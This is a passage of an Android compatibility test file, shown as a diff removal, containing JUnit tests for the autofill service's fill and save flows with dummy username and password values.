- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AntiTrimmerTextWatcher.TRIMMER_PATTERN;
-import static android.autofillservice.cts.Helper.ID_STATIC_TEXT;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.Helper.LARGE_STRING;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_COMMIT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
-import static android.autofillservice.cts.SimpleSaveActivity.ID_PASSWORD;
-import static android.autofillservice.cts.SimpleSaveActivity.TEXT_LABEL;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.app.assist.AssistStructure;
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.autofillservice.cts.SimpleSaveActivity.FillExpectation;
-import android.content.Intent;
-import android.graphics.Bitmap;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.BatchUpdates;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.SaveInfo;
-import android.service.autofill.TextValueSanitizer;
-import android.service.autofill.Validator;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.text.Spannable;
-import android.text.SpannableString;
-import android.text.style.URLSpan;
-import android.view.View;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import org.junit.Test;
-import org.junit.rules.RuleChain;
-import org.junit.rules.TestRule;
-
-import java.util.regex.Pattern;
-
-public class SimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase<SimpleSaveActivity> {
-
-    private static final AutofillActivityTestRule<SimpleSaveActivity> sActivityRule =
-            new AutofillActivityTestRule<SimpleSaveActivity>(SimpleSaveActivity.class, false);
-
-    private static final AutofillActivityTestRule<WelcomeActivity> sWelcomeActivityRule =
-            new AutofillActivityTestRule<WelcomeActivity>(WelcomeActivity.class, false);
-
-    public SimpleSaveActivityTest() {
-        super(SimpleSaveActivity.class);
-    }
-
-    @Override
-    protected AutofillActivityTestRule<SimpleSaveActivity> getActivityRule() {
-        return sActivityRule;
-    }
-
-    @Override
-    protected TestRule getMainTestRule() {
-        return RuleChain.outerRule(sActivityRule).around(sWelcomeActivityRule);
-    }
-
-    private void restartActivity() {
-        final Intent intent = new Intent(mContext.getApplicationContext(),
-                SimpleSaveActivity.class);
-        intent.addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
-        mActivity.startActivity(intent);
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSave() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Select dataset.
-        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
-        mUiBot.selectDataset("YO");
-        autofillExpecation.assertAutoFilled();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("ID");
-            mActivity.mPassword.setText("PASS");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testAutoFillOneDatasetAndSave_largeAssistStructure() throws Exception {
-        startActivity();
-
-        mActivity.syncRunOnUiThread(
-                () -> mActivity.mInput.setAutofillHints(LARGE_STRING, LARGE_STRING, LARGE_STRING));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        final ViewNode inputOnFill = findNodeByResourceId(fillRequest.structure, ID_INPUT);
-        final String[] hintsOnFill = inputOnFill.getAutofillHints();
-        // Cannot compare these large strings directly becauise it could cause ANR
-        assertThat(hintsOnFill).hasLength(3);
-        Helper.assertEqualsToLargeString(hintsOnFill[0]);
-        Helper.assertEqualsToLargeString(hintsOnFill[1]);
-        Helper.assertEqualsToLargeString(hintsOnFill[2]);
-
-        // Select dataset.
-        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
-        mUiBot.selectDataset("YO");
-        autofillExpecation.assertAutoFilled();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("ID");
-            mActivity.mPassword.setText("PASS");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        final ViewNode inputOnSave = findNodeByResourceId(saveRequest.structure, ID_INPUT);
-        assertTextAndValue(inputOnSave, "ID");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
-
-        final String[] hintsOnSave = inputOnSave.getAutofillHints();
-        // Cannot compare these large strings directly becauise it could cause ANR
-        assertThat(hintsOnSave).hasLength(3);
-        Helper.assertEqualsToLargeString(hintsOnSave[0]);
-        Helper.assertEqualsToLargeString(hintsOnSave[1]);
-        Helper.assertEqualsToLargeString(hintsOnSave[2]);
-    }
-
-    /**
-     * Simple test that only uses UiAutomator to interact with the activity, so it indirectly
-     * tests the integration of Autofill with Accessibility.
-     */
-    @Test
-    public void testAutoFillOneDatasetAndSave_usingUiAutomatorOnly() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mUiBot.assertShownByRelativeId(ID_INPUT).click();
-        sReplier.getNextFillRequest();
-
-        // Select dataset...
-        mUiBot.selectDataset("YO");
-
-        // ...and assert autofilled values.
-        final UiObject2 input = mUiBot.assertShownByRelativeId(ID_INPUT);
-        final UiObject2 password = mUiBot.assertShownByRelativeId(ID_PASSWORD);
-
-        assertWithMessage("wrong value for 'input'").that(input.getText()).isEqualTo("id");
-        // TODO: password field is shown as **** ; ideally we should assert it's a password
-        // field, but UiAutomator does not exposes that info.
-        final String visiblePassword = password.getText();
-        assertWithMessage("'password' should not be visible").that(visiblePassword)
-            .isNotEqualTo("pass");
-        assertWithMessage("wrong value for 'password'").that(visiblePassword).hasLength(4);
-
-        // Trigger save...
-        input.setText("ID");
-        password.setText("PASS");
-        mUiBot.assertShownByRelativeId(ID_COMMIT).click();
-        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSave() throws Exception {
-        saveTest(false);
-    }
-
-    @Test
-    public void testSave_afterRotation() throws Exception {
-        assumeTrue("Rotation is supported", Helper.isRotationSupported(mContext));
-        mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-        try {
-            saveTest(true);
-        } finally {
-            try {
-                mUiBot.setScreenOrientation(UiBot.PORTRAIT);
-                cleanUpAfterScreenOrientationIsBackToPortrait();
-            } catch (Exception e) {
-                mSafeCleanerRule.add(e);
-            }
-        }
-    }
-
-    private void saveTest(boolean rotate) throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        if (rotate) {
-            // After the device rotates, the input field get focus and generate a new session.
-            sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-            mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
-            saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        }
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-    }
-
-    /**
-     * Emulates an app dyanmically adding the password field after username is typed.
-     */
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testPartitionedSave() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // 1st request
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Set 1st field but don't commit session
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.setText("108"));
-        mUiBot.assertSaveNotShowing();
-
-        // 2nd request
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                        ID_INPUT, ID_PASSWORD)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPassword.setText("42");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(null, SAVE_DATA_TYPE_USERNAME,
-                SAVE_DATA_TYPE_PASSWORD);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
-    }
-
-    /**
-     * Emulates an app using fragments to display username and password in 2 steps.
-     */
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testDelayedSave() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // 1st fragment.
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE).build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger delayed save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        mUiBot.assertSaveNotShowing();
-
-        // 2nd fragment.
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                // Must explicitly set visitor, otherwise setRequiredSavableIds() would get the
-                // id from the 1st context
-                .setVisitor((contexts, builder) -> {
-                    final AutofillId passwordId =
-                            findAutofillIdByResourceId(contexts.get(1), ID_PASSWORD);
-                    final AutofillId inputId =
-                            findAutofillIdByResourceId(contexts.get(0), ID_INPUT);
-                    builder.setSaveInfo(new SaveInfo.Builder(
-                            SAVE_DATA_TYPE_USERNAME | SAVE_DATA_TYPE_PASSWORD,
-                            new AutofillId[] {inputId, passwordId})
-                            .build());
-                })
-                .build());
-
-        // Trigger autofill on second "fragment"
-        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger delayed save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPassword.setText("42");
-            mActivity.mCommit.performClick();
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_USERNAME, SAVE_DATA_TYPE_PASSWORD);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertThat(saveRequest.contexts.size()).isEqualTo(2);
-
-        // Get username from 1st request.
-        final AssistStructure structure1 = saveRequest.contexts.get(0).getStructure();
-        assertTextAndValue(findNodeByResourceId(structure1, ID_INPUT), "108");
-
-        // Get password from 2nd request.
-        final AssistStructure structure2 = saveRequest.contexts.get(1).getStructure();
-        assertTextAndValue(findNodeByResourceId(structure2, ID_INPUT), "108");
-        assertTextAndValue(findNodeByResourceId(structure2, ID_PASSWORD), "42");
-    }
-
-    @Test
-    public void testSave_launchIntent() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.setOnSave(WelcomeActivity.createSender(mContext, "Saved by the bell"))
-                .addResponse(new CannedFillResponse.Builder()
-                        .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                        .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-
-            // Disable autofill so it's not triggered again after WelcomeActivity finishes
-            // and mActivity is resumed (with focus on mInput) after the session is closed
-            mActivity.mInput.setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO);
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-        sReplier.getNextSaveRequest();
-
-        // ... and assert activity was launched
-        WelcomeActivity.assertShowing(mUiBot, "Saved by the bell");
-    }
-
-    @Test
-    public void testSaveThenStartNewSessionRightAwayShouldKeepSaveUi() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-
-        // Make sure Save UI for 1st session was shown....
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Start new Activity to have a new autofill session
-        startActivityOnNewTask(LoginActivity.class);
-
-        // Make sure LoginActivity started...
-        mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "id")
-                        .setField(ID_PASSWORD, "pwd")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-        // Trigger fill request on the LoginActivity
-        final LoginActivity act = LoginActivity.getCurrentActivity();
-        act.syncRunOnUiThread(() -> act.forceAutofillOnUsername());
-        sReplier.getNextFillRequest();
-
-        // Make sure Fill UI is not shown. And Save UI for 1st session was still shown.
-        mUiBot.assertNoDatasetsEver();
-        sReplier.assertNoUnhandledFillRequests();
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        mUiBot.waitForIdle();
-        // Trigger dismiss Save UI
-        mUiBot.pressBack();
-
-        // Make sure Save UI was not shown....
-        mUiBot.assertSaveNotShowing();
-        // Make sure Fill UI is shown.
-        mUiBot.assertDatasets("YO");
-    }
-
-    @Test
-    public void testCloseSaveUiThenStartNewSessionRightAway() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-
-        // Make sure Save UI for 1st session was shown....
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Trigger dismiss Save UI
-        mUiBot.pressBack();
-
-        // Make sure Save UI for 1st session was canceled.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // ...then start the new session right away (without finishing the activity).
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("");
-            mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
-        });
-        sReplier.getNextFillRequest();
-
-        // Make sure Fill UI is shown.
-        mUiBot.assertDatasets("YO");
-    }
-
-    @Test
-    public void testSaveWithParcelableOnClientState() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final AutofillId id = new AutofillId(42);
-        final Bundle clientState = new Bundle();
-        clientState.putParcelable("id", id);
-        clientState.putParcelable("my_id", new MyAutofillId(id));
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setExtras(clientState)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertMyClientState(saveRequest.data);
-
-        // Also check fillevent history
-        final FillEventHistory history = InstrumentedAutoFillService.getFillEventHistory(1);
-        @SuppressWarnings("deprecation")
-        final Bundle deprecatedState = history.getClientState();
-        assertMyClientState(deprecatedState);
-        assertMyClientState(history.getEvents().get(0).getClientState());
-    }
-
-    private void assertMyClientState(Bundle data) {
-        // Must set proper classpath before reading the data, otherwise Bundle will use it's
-        // on class classloader, which is the framework's.
-        data.setClassLoader(getClass().getClassLoader());
-
-        final AutofillId expectedId = new AutofillId(42);
-        final AutofillId actualId = data.getParcelable("id");
-        assertThat(actualId).isEqualTo(expectedId);
-        final MyAutofillId actualMyId = data.getParcelable("my_id");
-        assertThat(actualMyId).isEqualTo(new MyAutofillId(expectedId));
-    }
-
-    @Test
-    public void testCancelPreventsSaveUiFromShowing() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Cancel session.
-        mActivity.getAutofillManager().cancel();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    public void testDismissSave_byTappingBack() throws Exception {
-        startActivity();
-        dismissSaveTest(DismissType.BACK_BUTTON);
-    }
-
-    @Test
-    public void testDismissSave_byTappingHome() throws Exception {
-        startActivity();
-        dismissSaveTest(DismissType.HOME_BUTTON);
-    }
-
-    @Test
-    public void testDismissSave_byTouchingOutside() throws Exception {
-        startActivity();
-        dismissSaveTest(DismissType.TOUCH_OUTSIDE);
-    }
-
-    @Test
-    public void testDismissSave_byFocusingOutside() throws Exception {
-        startActivity();
-        dismissSaveTest(DismissType.FOCUS_OUTSIDE);
-    }
-
-    private void dismissSaveTest(DismissType dismissType) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Then make sure it goes away when user doesn't want it..
-        switch (dismissType) {
-            case BACK_BUTTON:
-                mUiBot.pressBack();
-                break;
-            case HOME_BUTTON:
-                mUiBot.pressHome();
-                break;
-            case TOUCH_OUTSIDE:
-                mUiBot.assertShownByText(TEXT_LABEL).click();
-                break;
-            case FOCUS_OUTSIDE:
-                mActivity.syncRunOnUiThread(() -> mActivity.mLabel.requestFocus());
-                mUiBot.assertShownByText(TEXT_LABEL).click();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
-        }
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    public void testTapHomeWhileDatasetPickerUiIsShowing() throws Exception {
-        startActivity();
-        enableService();
-        final MyAutofillCallback callback = mActivity.registerCallback();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mUiBot.assertShownByRelativeId(ID_INPUT).click();
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("YO");
-        callback.assertUiShownEvent(mActivity.mInput);
-
-        // Go home, you are drunk!
-        mUiBot.pressHome();
-        mUiBot.assertNoDatasets();
-        callback.assertUiHiddenEvent(mActivity.mInput);
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO2"))
-                        .build())
-                .build());
-
-        // Switch back to the activity.
-        restartActivity();
-        mUiBot.assertShownByText(TEXT_LABEL, Timeouts.ACTIVITY_RESURRECTION);
-        sReplier.getNextFillRequest();
-        final UiObject2 datasetPicker = mUiBot.assertDatasets("YO2");
-        callback.assertUiShownEvent(mActivity.mInput);
-
-        // Now autofill it.
-        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
-        mUiBot.selectDataset(datasetPicker, "YO2");
-        autofillExpecation.assertAutoFilled();
-    }
-
-    @Test
-    public void testTapHomeWhileSaveUiIsShowing() throws Exception {
-        startActivity();
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save, but don't tap it.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Go home, you are drunk!
-        mUiBot.pressHome();
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Prepare the response for the next session, which will be automatically triggered
-        // when the activity is brought back.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Switch back to the activity.
-        restartActivity();
-        mUiBot.assertShownByText(TEXT_LABEL, Timeouts.ACTIVITY_RESURRECTION);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger and select UI.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        final FillExpectation autofillExpecation = mActivity.expectAutoFill("id", "pass");
-        mUiBot.selectDataset("YO");
-
-        // Assert it.
-        autofillExpecation.assertAutoFilled();
-    }
-
-    @Override
-    protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception {
-        startActivity();
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // .. then do something to return to previous activity...
-        switch (type) {
-            case ROTATE_THEN_TAP_BACK_BUTTON:
-                // After the device rotates, the input field get focus and generate a new session.
-                sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
-
-                mUiBot.setScreenOrientation(UiBot.LANDSCAPE);
-                WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-                // not breaking on purpose
-            case TAP_BACK_BUTTON:
-                // ..then go back and save it.
-                mUiBot.pressBack();
-                break;
-            case FINISH_ACTIVITY:
-                // ..then finishes it.
-                WelcomeActivity.finishIt();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-        // Make sure previous activity is back...
-        mUiBot.assertShownByRelativeId(ID_INPUT);
-
-        // ... and tap save.
